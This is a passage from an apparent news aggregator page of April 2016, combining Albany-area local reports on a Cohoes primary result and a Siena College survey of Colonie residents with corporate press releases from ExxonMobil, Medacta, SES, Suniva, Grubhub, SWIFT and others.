Just how big a hill does Davis have to climb, you ask?

Democrats outnumber Republicans in the city 7-1.

Clinton visits Cohoes, Sanders sweeps city

Speaking of Cohoes, Hillary Clinton's decisive Tuesday night win in New York's Democratic presidential primary not only didn't translate to upstate generally or the Capital Region specifically (both of which Bernie Sanders won), it didn't translate to the only campaign stop Clinton herself made near the state capital.

The former senator from New York was the first candidate to stop here, appearing before an enthusiastic crowd April 4 at Cohoes High School.

Still, Sanders defeated Clinton with 54.5 percent of the vote in the city  a place not known for being a hotbed of progressive activism, according to unofficial returns from Tuesday night.

The unofficial tally was 1,199 votes for Sanders, 1,000 for Clinton.
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Colonie

Colonie residents say they pay the right amount of taxes, enjoy the town's amenities and are satisfied with the schools.

But they don't want to see more roundabouts, don't want the library closed and satellite branches opened and are deeply split over the pace of development.

Those are the results of a survey on the quality of life in the Capital Region's largest suburb done by the students at Siena College through the Siena Research Institute.

A 13-student class called Community-Based Research designed and executed the survey after first meeting with town officials and interviewing people at locations around the community.

While the town embraced the survey, Siena Research Director Don Levy said it did not pay for the study and had no editorial control over the questions. Levy taught the class along with Peter Cichetti, assistant director of national assessment of service and community engagement at Siena.

The findings will be presented to the public at 4 p.m. Monday, April 25, at the William K. Sanford Town Library.

Fanta Sissoko, a junior sociology major who participated in the class project, said they began by going out to different places throughout the town with each of the 13 students talking to at least three people.

"The class was all over," she said. "People observed the airport, Colonie Center, various recreational facilities to get a picture of what the town looked like. We did interviews."

The students sought to find people representing a cross section of town residents. After also speaking to Supervisor Paula Mahan, the students designed the survey and polled 343 town residents.

The survey overall showed people were very satisfied with the quality of life.

"People are happy with the town of Colonie," Sissoko said. "They have a high quality of life here. They are happy with the schools."

The town's infrastructure and traffic congestion were the two issues most often cited as concerns.

Perhaps surprisingly, an overwhelming majority of respondents, 71 percent, said the amount of taxes they pay is just right. Only 23 percent said town taxes were too high, while 2 percent thought they were too low.

"A lot of people told the students the taxes relative to surrounding communities was good," Cichetti said.

A strong 73 percent of respondents said the town is on the right track.

"There is a certain sense of satisfaction here that is quite surprising," Levy said.

People had overwhelming praise for the town's public safety crews: 96 percent rated the town's fire service as excellent or good, and police had a 91 percent approval rating.

Elected officials fared less well, but 56 percent rated town leaders excellent or good while 42 percent ranked them fair or poor.

Growth reflected the most stark differences: 50 percent said the pace of development is a concern, while 49 percent said it was not. Fifty-two percent said the town lacks a small-town feel while 47 percent disagreed. Despite that split, 70 percent said they believe recent economic development has improved Colonie's quality of life.

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Sissoko said the students' conversations with residents made clear that the longer-term residents, who remembered when much of the town was farm land, had a different view than more recent residents. "Some people who were living here a long time, they miss that small-town feel," she said.

People also were closely divided on whether the town was starting to be too expensive: 51 percent said it is harder to be able to afford to live in town, while 48 percent disagreed.

Although people felt good about life in the town, they also said they didn't much participate in civic activities. Only 17 percent said they attend public meetings somewhat or every often. A total of 28 percent said they were engaged in volunteering.

The survey asked residents what they thought of the idea of closing the library and opening smaller branches in three locations. Even if the cost was unchanged, 65 percent opposed the idea and 30 percent supported it.

Roundabouts also proved unpopular, with 63 percent opposing the building of any more, although 35 percent support using them to replace traffic signals.

Even Siena got some useful information out of the survey, Levy said. While 94 percent of people viewed the college as an asset, he said, more than 60 percent said they never come to campus events. Only 16 percent said they do very or somewhat often.

By doing the survey, he said, students also got a better idea of the town in which their college is located.

"This gave the students a better sense of the community in its broader sense," he said.

tobrien@timesunion.com  518-454-5092  @timobrientu
[April 22, 2016] ExxonMobil and Employees Contribute $2.6 million to Pennsylvania Colleges and Universities

ExxonMobil and its employees contributed $2.6 million to higher education institutions across Pennsylvania as part of the ExxonMobil Foundation's 2015 Educational Matching Gift Program. In 2015, ExxonMobil employees, retirees, directors and surviving spouses contributed $700,000 million to 66 Pennsylvania colleges and universities, which was matched with $1.9 million unrestricted grants from the ExxonMobil Foundation. Although grants are unrestricted, colleges and universities are encouraged to designate a portion to math and science programs supporting student engagement. The program matches donor pledges on a 3:1 ratio up to $7,500 to qualified colleges and universities in the United States, along with the American Indian College Fund, Hispanic Scholarship Fund and the United Negro College Fund. Since the Educational Matching Gift Progam began in 1962, more than $600 million has been contributed to American institutions of higher learning.



"Quality education is the foundation for individual opportunity and economic prosperity," said Ben Soraci, president of the ExxonMobil Foundation. "We have a long history of supporting education excellence in the country. It's a shared priority, year after year, with ExxonMobil employees." Nationwide, more than 850 institutions received $45.4 million through the 2015 Educational Matching Gift Program.

In addition to the Educational Matching Gift Program, ExxonMobil and the ExxonMobil Foundation support and develop programs that encourage students, particularly women and minorities, to consider and pursue careers in science, technology, engineering and math, as well as teacher training initiatives. About the ExxonMobil Foundation The ExxonMobil Foundation is the primary philanthropic arm of Exxon Mobil Corporation (NYSE:XOM) in the United States. The foundation and the corporation engage in a range of philanthropic activities advancing education, with a focus on math and science in the United States, promoting women as catalysts for economic development and combating malaria. In 2015, together with its employees and retirees, Exxon Mobil Corporation, its divisions and affiliates, and the ExxonMobil Foundation provided $268 million in contributions worldwide. Additional information on ExxonMobil's community partnerships and contribution programs is available at www.exxonmobil.com/community. View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005206/en/

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[April 22, 2016] ExxonMobil and Employees Contribute more than $800,000 to Alabama Colleges and Universities

ExxonMobil and its employees contributed $813,000 to higher education institutions across Alabama as part of the ExxonMobil Foundation's 2015 Educational Matching Gift Program. In 2015, ExxonMobil employees, retirees, directors and surviving spouses contributed $205,000 to 12 Alabama colleges and universities, which was matched with $608,000 unrestricted grants from the ExxonMobil Foundation. Although grants are unrestricted, colleges and universities are encouraged to designate a portion to math and science programs supporting student engagement. The program matches donor pledges on a 3:1 ratio up to $7,500 to qualified colleges and universities in the United States, along with the American Indian College Fund, Hispanic Scholarship Fund and the United Negro College Fund. Since the Educational Matching Gift Program began in 162, more than $600 million has been contributed to American institutions of higher learning.



"Quality education is the foundation for individual opportunity and economic prosperity," said Ben Soraci, president of the ExxonMobil Foundation. "We have a long history of supporting education excellence in the country. It's a shared priority, year after year, with ExxonMobil employees." Nationwide, more than 850 institutions received $45.4 million through the 2015 Educational Matching Gift Program.

In addition to the Educational Matching Gift Program, ExxonMobil and the ExxonMobil Foundation support and develop programs that encourage students, particularly women and minorities, to consider and pursue careers in science, technology, engineering and math, as well as teacher training initiatives. About the ExxonMobil Foundation The ExxonMobil Foundation is the primary philanthropic arm of Exxon Mobil Corporation (NYSE:XOM) in the United States. The foundation and the corporation engage in a range of philanthropic activities advancing education, with a focus on math and science in the United States, promoting women as catalysts for economic development and combating malaria. In 2015, together with its employees and retirees, Exxon Mobil Corporation, its divisions and affiliates, and the ExxonMobil Foundation provided $268 million in contributions worldwide. Additional information on ExxonMobil's community partnerships and contribution programs is available at www.exxonmobil.com/community. View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005170/en/

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[April 22, 2016] ExxonMobil and Employees Contribute nearly $900,000 to Ohio Colleges and Universities

ExxonMobil and its employees contributed $870,000 to higher education institutions across Ohio as part of the ExxonMobil Foundation's 2015 Educational Matching Gift Program. In 2015, ExxonMobil employees, retirees, directors and surviving spouses contributed $224,000 to 30 Ohio colleges and universities, which was matched with $646,000 unrestricted grants from the ExxonMobil Foundation. Although grants are unrestricted, colleges and universities are encouraged to designate a portion to math and science programs supporting student engagement. The program matches donor pledges on a 3:1 ratio up to $7,500 to qualified colleges and universities in the United States, along with the American Indian College Fund, Hispanic Scholarship Fund and the United Negro College Fund. Since the Educational Matching Gift Program began in 1962,more than $600 million has been contributed to American institutions of higher learning.



"Quality education is the foundation for individual opportunity and economic prosperity," said Ben Soraci, president of the ExxonMobil Foundation. "We have a long history of supporting education excellence in the country. It's a shared priority, year after year, with ExxonMobil employees." Nationwide, more than 850 institutions received $45.4 million through the 2015 Educational Matching Gift Program.

In addition to the Educational Matching Gift Program, ExxonMobil and the ExxonMobil Foundation support and develop programs that encourage students, particularly women and minorities, to consider and pursue careers in science, technology, engineering and math, as well as teacher training initiatives. About the ExxonMobil Foundation The ExxonMobil Foundation is the primary philanthropic arm of Exxon Mobil Corporation (NYSE:XOM) in the United States. The foundation and the corporation engage in a range of philanthropic activities advancing education, with a focus on math and science in the United States, promoting women as catalysts for economic development and combating malaria. In 2015, together with its employees and retirees, Exxon Mobil Corporation, its divisions and affiliates, and the ExxonMobil Foundation provided $268 million in contributions worldwide. Additional information on ExxonMobil's community partnerships and contribution programs is available at www.exxonmobil.com/community. View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005194/en/

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[April 22, 2016] LifeSciences BC Announces Winner of Sanofi Biogenius Canada Competition for B.C.

Iveta Demirov a young science student from New Westminster Secondary School in New Westminster, has earned top honours at the B.C. edition, of the prestigious Sanofi Biogenius Canada (SBC) competition. The competition in its 22nd year, was held recently at the Centre for Drug Research and Development on the campus of the University of British Columbia. The participating high school science students from around the province, presented their science posters to a panel of scientist from B.C. based research institutions, organizations and companies. The runners-up of the SBC 2016 BC regional final: Second prize went to Nathan Kuehne, a grade 12 student at Glenlyon Norfolk School, Victoria, for his project on pH Dependent Colorimetric Assays for Biomarking Amino Acids. Third prize went to Austin Wang, a grade 12 student at David Thompson (News - Alert) Secondary, Vancouver, for his project on Boosting MFC Biocatalyst Performance: A Novel Gene Identification and Consortia Engineering Approach. Last year Austin, won the Gold Medal prize at the Taiwan International Science Fair and also won the 2015 International BioGENEius Environmental Challenge prize at BIO. The Genome British Columbia Genomics Prize was presented to Ishmum Ataur, a grade 10 student at Britannia Secondary School, Vancouver, for his project on Tumor-Specific TCR-pMHC Database, for its excellence in genomics. A special CDRD Commercialization prize was awarded to Nathan Kuehne, Glenlyon Norfolk School, Victoria, for his project on pH Dependent Colorimetric Assays for Biomarking Amino Acids. This project was deemed by the panel of judges, to have the greatest potenial to be commercialized.



Competition winner, Iveta Demirov, will now progress to the SBC 2016 National Finals in Ottawa on May 2 - 3, 2016. There, winners of all nine regional SBC competitions will submit their work to be judged by a panel of Canada's pre-eminent scientists for a chance at winning the top prize: a place at the 2016 International BioGENEius Challenge at BIO in San Francisco this June. Iveta Demirov also received a cash prize of $2,500; a portion of which will go to her New Westminster Secondary School. Runners-up in this year's SBC BC regional competition were also awarded cash prizes ranging in value from $250.00 to $2,500.00

About LifeSciences BC LifeSciences BC is a not-for-profit, non-government, industry association that supports and represents the life sciences community of British Columbia through leadership, facilitation of investment and partnering, advocacy, and promotion of our world-class science and industry. Life sciences sectors, from biopharmaceuticals and medical technology, to digital health and medical devices, are integrated into our organization and all that we do, ensuring that no life sciences sector is working in isolation - and that all sectors come together in a comprehensive, complementary and coordinated fashion. Throughout the year, LifeSciences BC undertakes numerous programs and projects in support of these sectors. These include public policy initiatives, facilitating trade missions between global industry and our local organizations, raising the profile of our industry internationally and thus facilitating investment and global partnering opportunities, and helping nurture economic development in British Columbia through the life sciences industry. About the Sanofi Biogenius Canada (SBC) Sanofi Biogenius Canada is a national science research competition open to high school students, which, since 1992, has helped almost 4,000 young Canadians pursue real-world scientific research projects that have been the launch pads to future studies and careers. Coordinated by Partners In Research, the initiative is sponsored by Sanofi Pasteur Limited, Sanofi Canada, the Ontario Government (Ministry of Research & Innovation), York University, the National Research Council Canada/Conseil national de recherches Canada (NRC-CNRC), Canadian Institutes of Health Research/Instituts de recherche en sante du Canada (CIHR-IRSC) and Genome Canada. In April 2016, Sanofi Pasteur will receive the William Edmond Logan Award from the Royal Canadian Institute for Science, in recognition of its long-time sponsorship of Sanofi Biogenius Canada. The Award recognizes outstanding contributions to the public awareness of science by an institution or organization. For more information, please visit biogenius.ca, or follow SBC on Facebook (News - Alert) (facebook.com/SanofiBiogenius) or Twitter (@biogeniusca) using the hashtag #SBC2016. View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005132/en/

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[April 22, 2016] Medacta Spotlights Leading Knee, Hip, Spine and Hip Preservation Surgical Practices and Innovations at 8th M.O.R.E. International Symposium

Medacta International, the privately held, family-owned global leader in the design of innovative joint replacement and spine surgery products, today kicks off its 8th Medacta Orthopedic Research and Education (M.O.R.E.) International Symposium near the company's global headquarters in Lugano, Switzerland. Reflecting Medacta's ongoing commitment to continuous medical education, the event will focus on how implant design, techniques and patient-specific treatment can improve outcomes and patient satisfaction in the changing orthopedic landscape. "Surgical education and training has been a pillar of Medacta's mission and identity since the company began. We believe that it is the foundation for optimal clinical outcomes and patient and surgeon satisfaction," said Alberto Siccardi, President and Founder of Medacta International. "We are thrilled to dedicate two full days, and four distinct content tracks, to furthering this commitment at our largest M.O.R.E. International Symposium yet, with over 1,000 attendees from 30 countries." The 8th M.O.R.E. International Symposium features content tracks dedicated to knee, hip, spine and hip preservation technologies and techniques, including 20+ sessions with multiple clinical presentations. More than 80 orthopedic surgery experts will present at the meeting, with Chitranjan S. Ranawat (New York, USA) delivering the keynote address. Frederic Laude (Paris, France) and Joel Matta (California, USA) will serve as chairmen of the Hip Program, which will also include welcoming remarks from the Orthopaedic Research and Education Foundation's Richard F. Santore. David M. Manning (Illinois, USA) and Philippe Neyret (Lyon, France) will chair the Knee program, while Dezso Jeszenszky (Zurich, Switzerland) will serve as Honorary Chairman of the Spine program. The new Hip Preservation program will be co-chaired by Marc Safran (California, USA) and Michael Dienst (Munich, Germany). Knee Day (Friday, April 22) will focus on: The effects of implant design and alignment on patient satisfaction

Developments in orthopedic procdures, including patient-matched technologies and single-use instrumentation

The growing trend of outpatient surgery



Open and arthroscopic hip surgery best practices

The professional transition between open and arthroscopic hip surgery

Technical recommendations for FAI and labral surgery

Mitigating complications in hip procedures such as osteoarthritis, persisting pain after THA hip instability, and dysplasia Hip Day (Saturday, April 23) will include content on:

Variables that control outcomes influencing patient satisfaction

Addressing the "high demand" patient

The evolving anterior approach and its role in reducing or avoiding common complications

Anterior approach indications in revision hip arthroplasty The Spine program will run simultaneously alongside the knee and hip tracks over the two-day period and will address: Patient-matched technology and its impact on screw placement accuracy

Minimally invasive operating techniques

Sagittal Balance strategies and best surgical steps

Intervertebral fusion devices "The practice of orthopedics is constantly evolving," said Dr. David Manning, Vice Chair of Orthopedic Surgery at Northwestern University and co-chair of the Symposium's Knee Day. "To provide patients with the best possible care, orthopedic surgeons must not only stay up to date on the latest clinical and scientific developments but also engage with their peers to discuss best practices, key challenges and experiences that can impact patient satisfaction and outcomes. With a faculty of globally renowned orthopedic experts and a program that addresses some of the most significant issues in our field, the M.O.R.E. International Symposium continues to be a vital forum for the clinical research, training and conversations that are shaping the future of orthopedic surgery." For more information about the 8th M.O.R.E. International Symposium, visit http://www.8more.medacta.com. About Medacta International Medacta International is a world leading manufacturer of orthopedic implants, neurosurgical systems, and instrumentation. Medacta's revolutionary approach and responsible innovation have resulted in standard of care breakthroughs in hip replacement with the AMIS (News - Alert) system and total knee replacement with MyKnee patient matched technology. Over the last 10 years, Medacta has grown dramatically by taking a holistic approach and placing value on all aspects of the care experience from design to training to sustainability. Medacta is headquartered in Castel (News - Alert) San Pietro, Switzerland, and operates in over 30 countries. To learn more about Medacta International, please visit www.medacta.com or follow @Medacta on Twitter (News - Alert). View source version on businesswire.com: http://www.businesswire.com/news/home/20160422006016/en/

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[April 22, 2016] SES Deploys SATMED E-Health Platform to Improve Quality of Healthcare in Niger

SES (News - Alert) S.A. (NYSE Paris:SESG) (LuxX:SESG), one of the world's leading satellite operators, announced today the deployment of SATMED, a satellite-based e-health platform, at the CURE Hospital for Children in Niger, to enhance healthcare in rural and remote regions in Niger. This Smart News Release features multimedia. View the full release here: http://www.businesswire.com/news/home/20160422005373/en/ SES Deploys SATMED E-Health Platform to Improve Quality of Healthcare in Niger (Photo: Business Wire) The SATMED e-health platform was conceived by SES Techcom Services, a wholly owned subsidiary of SES, and is funded by the Luxembourg Government and the Ministry for Cooperation and Humanitarian Action. The satellite-based communication solution aims to improve public health in developing countries by enabling multiple medical applications and tools to operate collectively on a single platform. SATMED will enable CURE Niger to establish communications with national and international doctors to receive medical counselling. Patients can be remotely diagnosed by experts thousands of miles away, doctors and nurses can improve their knowledge through online courses or life sessions, and lives can be saved through easy access to necessary information available anywhere via the internet. The CURE Hospital for Children in Niger specialises in the surgical treatment of children with disabilities. These children suffer from a variety of different orthopaedic and congenital conditions, such as clubfoot, cleft lip and burn contractures. Since the hospital opened in October 2010, well over 3,000 life-changing surgeries and over 10,000 patient consultations have been performed, both at the hospital and in mobile clinics throughout the country. "CURE International is very proud to partner with SES and with the government of Luxembourg on this important initiative, which will help bring access to healthcare closer to those who live in remote areas of Niger. Our participation in the SATMED programme will help us better serve our patients, as we seek to offer them healing and hope for a better future," said Josh Korn, Executive Director at CURE Niger. "We are very pleased with the way SATMED is overcoming the barriers often faced in deployment of health services across Africa, where terrestrial infrastructures may be lacking or even non-existent By combining state-of-the-art satellite connectivity and cloud computing, patients at CURE Niger are now able to be remotely diagnosed by medical experts thousands of miles away. Thanks to satellite technology, we are now in a position to assist in improving both the speed and quality of healthcare services in rural and remote regions, contributing to change on a much wider scale," said Ibrahima Guimba-Saidou, Senior Vice President of SES Commercial in Africa.



For more information on SATMED please visit: http://www.ses.com/20513923/SATMED-ehealth-platform Follow us on:

Twitter (News - Alert): https://twitter.com/SES_Satellites Facebook (News - Alert): https://www.facebook.com/SES.YourSatelliteCompany YouTube (News - Alert): http://www.youtube.com/SESVideoChannel Blog: http://www.ses.com/blog SES Pictures are available under http://www.ses.com/21472913/Our_Pictures SES White papers are available under http://www.ses.com/18681915/white-papers About SES SES (NYSE Paris:SESG) (LuxX:SESG) is a world-leading satellite operator with a fleet of more than 50 geostationary satellites. The company provides satellite communications services to broadcasters, content and internet service providers, mobile and fixed network operators and business and governmental organisations worldwide. SES stands for long-lasting business relationships, high-quality service and excellence in the satellite industry. The culturally diverse regional teams of SES are located around the globe and work closely with customers to meet their specific satellite bandwidth and service requirements. SES holds a participation in O3b Networks, a next generation satellite network combining the reach of satellite with the speed of fibre. Further information available at: www.ses.com About CURE Niger CURE Niger is the only hospital in Niger offering specialty surgical care for physically disabled children with a variety of conditions. As such, the hospital's impact is extensive. CURE Niger serves children locally, throughout every region of the country, and from neighbouring countries. Since opening its doors in 2010, CURE Niger has been dedicated to treating disabling conditions such as clubfoot, burn contractures, cleft lips and palates, and other deformities. The hospital's reputation as a centre of excellence is evidenced by the increasing number of patients arriving for treatment every year. Further information available at: https://cure.org/niger/ View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005373/en/

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[April 22, 2016] Suniva Named Manufacturer of the Year

Suniva, Inc., the leading American manufacturer of high-efficiency, cost-competitive crystalline silicon solar products, today announces that Technical College System of Georgia and the Georgia Department of Economic Development has selected Suniva as Manufacturer of the Year for 2016 in the medium size business category. As part of Manufacturing Appreciation Week, the company attended the annual awards ceremony luncheon yesterday where they were honored by Georgia Governor Nathan Deal. Headquartered in Norcross, Suniva has been recognized for its commitment to excellence in manufacturing. The Manufacturer of the Year award had nearly 100 applicants in the medium size business sector, making it one of the most competitive awards in Georgia. The companies were nominated by business and civic leaders and chosen for their excellence and contributions to the state's economy and their respective local communities. "Suniva has been recognized for many awards in our history, and we are especially proud to be recognized for excellence in manufacturing," said Paul Schneider, vice president of Plant Operations. "We have a incredible team that pays great attention to detail. In fact, earlier this month we celebrated a remarkable three years without an OSHA recordable injury."



"We are tremendously honored to receive this award," said Matt Card, executive vice president of Commercial Operations. "In a marketplace that is heavily served by off-shore commodity manufacturing, it's important that the domestic construction industry have a strong manufacturing leader of high-quality, innovative products here at home. Suniva is proud of its Georgia roots, and we are thrilled that our position of leadership here in the United States results not only in technological innovation for our industry - but is allowing us to give back to our state through significant job creation. Renewable Energy is making a meaningful difference in the energy portfolio of the United States. It should be a point of pride to all Georgians that a home-grown manufacturer is a leader in this important field of growth," said Card. The company is currently expanding its state-of-the art manufacturing facility at its headquarters, bringing the Norcross site to 400MW of cell capacity. With over 350 employees, and its award winning cell technology, Suniva is known world-wide for its high-powered solar products.

Suniva has received numerous awards for its technological innovation, business leadership and global environmental impact, including Commercial Technology of the Year by Platts Global Energy; #2 of the Wall Street Journal's Top 10 Venture-Backed Clean Technology Companies; and Renewable Energy Exporter of the Year by the Export-Import Bank of the United States. About Suniva Suniva is the leading U.S.-born, U.S.-operated manufacturer of high-efficiency crystalline silicon photovoltaic (PV) solar cells and high-power solar modules. The company is known for its high-quality products, industry-leading technology, reliable performance, and high power density. Headquartered in metro-Atlanta, with manufacturing facilities in Georgia and Michigan, Suniva sells its advanced PV products globally. suniva.com View source version on businesswire.com: http://www.businesswire.com/news/home/20160422005260/en/

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[April 21, 2016] Red River Charitable Foundation Hosts 2nd Annual "Rock Your Camo 5K & Dirty Dash" to Support Local Veterans

The Red River Charitable Foundation (RRCF), Red River's philanthropic organization, will be hosting its second annual "Rock Your Camo 5K & Dirty Dash" this Saturday, April 23, in Claremont, New Hampshire. All proceeds from the event will benefit local Veterans. RRCF has enlisted the help of over 70 volunteers as well as a number of different national and local sponsors to help build on the success of last year's event. Veteran partners include Operation Hat Trick, The VA Medical Center in White River Junction, the Veterans Yoga Project and the Friends of Veterans. All proceeds from race registrations, sales of t-shirts and food will go towards Veteran programs that RRCF supports including homelessness prevention, heating assistance and financial support for wounded service members. Along with raising funds for veterans, RRCF is hoping to drive a greater sense of community engagement through the event. Local radio station Q106 will be on site broadcasting live and Senator Kelly Ayotte of N.H. will be taking part in the festivities. The 5K road race will be open to runners of all ages and the RRCF will award medals to the top runners. RRCF has also announced a new Dirty Dash event, which will be a muddy obstacle course for kids. Attendees who do not wish to participate in the runs can still enjoy the music, food, face painting, beer and more. A number of food vendors will be on site and a portion of their proceeds will be added to the total donation. "We are very much looking forward to Saturday's event. Honoring the men and women who have served is a huge part of the foundation's continued mission," said RRCF director Kim Vacca. "There has been an overwhelming turnout of supporters, and we're on pace to almost double the number of runners from last year!" Rock Your Camo will take place at the Arrowhead Recreation Area in Claremont, N.H. on Saturday, April 23. For more information about the event visit www.rockyourcamo.com or follow RRCF on Facebook (News - Alert) and Twitter at @RRCFRocks. About Red River Charitable Foundation Red River Charitable Foundation (RRC) is a 501(c)(3), charitable organization with a dual mandate and mission. RRCF promotes and encourages students to continue their studies in the fields of science and technology as well as supporting US military veterans transitioning to civilian life. RRCF provides opportunities for students in middle school through college interested in Science, Technology, Engineering, and Math with scholarships, internships, mentoring, and donations of IT equipment. RRCF supports veterans and their families by providing technology career counseling and mentorships as well as emergency monetary assistance as they integrate back into our community. To learn more visit www.redrivercharitablefoundation.com.



About Red River Founded on the core values of hard work, honesty and integrity, Red River is a leading technology integrator. The company's expertise and mission-critical experience helps its customers optimize their business processes and enhance the value of their technology investments. Red River has earned its reputation as a leading technology integrator by delivering best-in-class data analytics, collaboration, mobility, networking, security and cloud solutions as well as support and managed services to military, intelligence and civilian agencies and the companies that serve them. Red River combines an uncommon work ethic with exceptional service to deliver performance beyond expectations to its customers, partners and suppliers. Follow Red River on Twitter (News - Alert) at @ThinkRed. For more information visit www.redriver.com.

View source version on businesswire.com: http://www.businesswire.com/news/home/20160421006716/en/

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[April 21, 2016]

Grubhub To Announce First Quarter 2016 Financial Results On May 3, 2016

CHICAGO, April 21, 2016 /PRNewswire/ -- Grubhub Inc. (NYSE: GRUB), the nation's leading online and mobile food-ordering and delivery platform, today announced that it will host a conference call to discuss its first quarter financial results on Tuesday, May 3rd, 2016, at 9:00 a.m. Central Time, following the release of the Company's financial results. Matt Maloney, CEO, and Adam DeWitt, CFO will host the webcast.

The live webcast of the conference call will be available on the investor relations section of the Grubhub website at http://investors.grubhub.com/. Following completion of the call, a recorded replay of the webcast will be available on the ebsite.







About Grubhub

Grubhub (NYSE: GRUB) is the nation's leading online and mobile food-ordering company. Dedicated to moving eating forward and connecting diners with the food they love from their favorite local restaurants, the company's platforms and services strive to elevate food ordering through innovative restaurant technology, easy-to-use platforms and an improved delivery experience. Grubhub is proud to work with more than 40,000 restaurant partners in over 1,000 U.S. cities and London. The Grubhub portfolio of brands includes Grubhub, Seamless, AllMenus, MenuPages, Restaurants on the Run, DiningIn and Delivered Dish.

Logo - http://photos.prnewswire.com/prnh/20151014/276973LOGO

To view the original version on PR Newswire, visit:http://www.prnewswire.com/news-releases/grubhub-to-announce-first-quarter-2016-financial-results-on-may-3-2016-300255799.html

SOURCE Grubhub
[April 21, 2016] NuBryte Makes E.U. Debut With Largest-Ever U.S. Business Delegation At 2016 Hannover Messe

SAN FRANCISCO, April 21, 2016 /PRNewswire/ -- NuBryte, developer of innovative smart home solutions, today announced it will be showcasing the NuBryte Touchpoint as part of the largest ever U.S. delegation at Hannover Messe, the world's foremost trade fair for industrial technology, taking place April 25-29, in Hannover, Germany. The event will be also attended by President Barack Obama. The NuBryte Touchpoint smart home console includes all of a household's connected needs, such as automated lighting, home security, and an intercom/messaging system. The simple-to-use, streamlined system easily replaces a traditional light switch and is compatible with standard dimmable LED, CFL and even incandescent light bulbs. Recognized as an industry-innovator in the U.S. smart home industry, NuBryte Touchpoint gives whole home lighting control from an attractive touch screen console and features 5 advanced lighting modes, including one which helps households conserve energy by automatically turning off unused lighting. The console also provides easy-to-understand energy reporting to help people reduce energy usage and save money. NuBryte Touchpoint is currently available for purchase in the U.S. NuBrte was selected as a member of the U.S. delegation at Hannover to represent up-and-coming U.S. technology innovators, and will be receiving visitors in the Energy Pavilion at the show in Hall 27, G50-11. "We are excited to be a part of the first-ever USA Partner Country presence at Hannover Messe, and look forward to exchanging ideas with global attendees regarding smart technology and household energy efficiency," said Alan Yuan, co-founder and CEO of NuBryte. NuBryte will be meeting with investors, as well as potential E.U. channel and technology partners.



About NuBryte NuBryte, a division of Silicon Valley's LUCIS Technologies, builds innovative technologies and products for energy management, smart home, and Internet of Things (IoT) applications. Its flagship smart home lighting and security console, NuBryte Touchpoint, helps consumers easily upgrade to smart homes. It intelligently dims lights, offers home security and energy reporting, and more, to save energy and lower monthly bills. For more information, visit us on Twitter, Facebook, LinkedIn, or www.nubryte.com.

Booth Number: G50-11, Hall 27, Energy Pavilion Press Contact:

Ashley Domescik

[email protected]

408-416-4444 To Schedule a Meeting:

[email protected] To view the original version on PR Newswire, visit:http://www.prnewswire.com/news-releases/nubryte-makes-eu-debut-with-largest-ever-us-business-delegation-at-2016-hannover-messe-300255836.html SOURCE LUCIS Technologies

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[April 22, 2016] SWIFT to Launch New Payments Data Quality Service

HONG KONG, April 22, 2016 /PRNewswire/ -- SWIFT announces that it will launch Payments Data Quality, an advanced reporting and data analytics service to help financial institutions comply with new international requirements for originator and beneficiary information in payments messages. The new service will help banks monitor their compliance with the Financial Action Task Force's (FATF) Recommendation 16 for wire transfers, which was issued in 2012. Regulatory focus on originator and beneficiary information has intensified since the FATF recommendations were issued. A number of jurisdictions have or will enshrine FATF Recommendation 16 in law, thus mandating the inclusion of originator and beneficiary information in payments messages. In the European Union, for instance, the Funds Transfer Regulation (FTR) adopted in 2015 will mandate such information in 2017. Singapore recently implemented FATF Recommendation 16 within MAS Notice 626, and other jurisdictions are expected to follow suit. The new requirements will pose compliance and operational challenges for financial institutions the world over. The lack of standard practices for formatting some originator and beneficiary details, such as addresses and bank account numbers, in financial messages can make data detection by automated systems difficult. Many banks maintain multiple payments platforms, making it hard to maintain a global, institution-wide overview of payments data quality levels. SWIFT is working closely with its community to address these challenges. Luc Meurant, Head of Financial Crime Compliance Services, SWIFT, says: "This is a perfect example of how SWIFT's core strengths -- collaboration, standards, and the ability to provide banks with a global overview of their payments data -- enable us to deliver innovative services that support the effectiveness and efficiency of our customers' compliance programmes." SWIFT's Payments Data Quality service Industry analysis indicates that originator and beneficiary information is missing or incomplete in a significant number ofpayments messages. The Payments Data Quality service will check messages using quality verification rules developed by SWIFT in line with industry practice and in cooperation with its community. The service will offer financial institutions:



a global overview of quality of originator and beneficiary information in their payments messages

detailed analytics to help them identify potential risk related to specific countries, counterparties and branches

trusted reporting from SWIFT as a neutral third party to support their internal investigations and discussions with their counterparties

a web-based platform eliminating the need to install, integrate or maintain additional systems "There is a growing need for improved payments data quality, particularly as it relates to financial crime compliance," says David Howes, Deputy Head of Financial Crime Compliance, Standard Chartered Bank. "We welcome the collaborative effort SWIFT is putting in place to enable the development and use of industry practice and standards to enhance data quality, transparency and compliance." "Ensuring that complete originator and beneficiary information is contained within relevant payment messages helps financial institutions comply with their regulatory obligations," says Brigitte De Wilde. "However this information is sometimes missing, unstructured and incomplete, complicating its detection. SWIFT's Payments Data Quality service will provide banks with a unique analytics and reporting service to support their compliance activities, whilst also establishing a global platform for developing industry practices, thereby helping to mitigate operational cost and risk."

The Payments Data Quality service will be available in Q3 2016. Notes to editors FATF Recommendation 16 reads as follows: "Countries should ensure that financial institutions include required and accurate originator information, and required beneficiary information, on wire transfers and related messages, and that the information remains with the wire transfer or related message throughout the payment chain. Countries should ensure that financial institutions monitor wire transfers for the purpose of detecting those which lack required originator and/or beneficiary information, and take appropriate measures. Countries should ensure that, in the context of processing wire transfers, financial institutions take freezing action and should prohibit conducting transactions with designated persons and entities, as per the obligations set out in the relevant United Nations Security Council resolutions, such as resolution 1267 (1999) and its successor resolutions, and resolution 1373(2001), relating to the prevention and suppression of terrorism and terrorist financing." Read the full FATF Recommendations, including Recommendation 16. For more information, please refer to the PDF. About SWIFT's financial crime compliance services portfolio SWIFT's Compliance Services unit manages a growing portfolio of financial crime compliance services in the areas of sanctions, Know Your Customer (KYC) and Anti-Money Laundering (AML). The portfolio includes Sanctions Screening and Sanctions Testing services, Compliance Analytics and The KYC Registry. For more information, visit www.swift.com/complianceservices. About SWIFT SWIFT is a global member-owned cooperative and the world's leading provider of secure financial messaging services. We provide our community with a platform for messaging and standards for communicating, and we offer products and services to facilitate access and integration, identification, analysis and financial crime compliance. Our messaging platform, products and services connect more than 11,000 banking and securities organisations, market infrastructures and corporate customers in more than 200 countries and territories, enabling them to communicate securely and exchange standardised financial messages in a reliable way. As their trusted provider, we facilitate global and local financial flows, support trade and 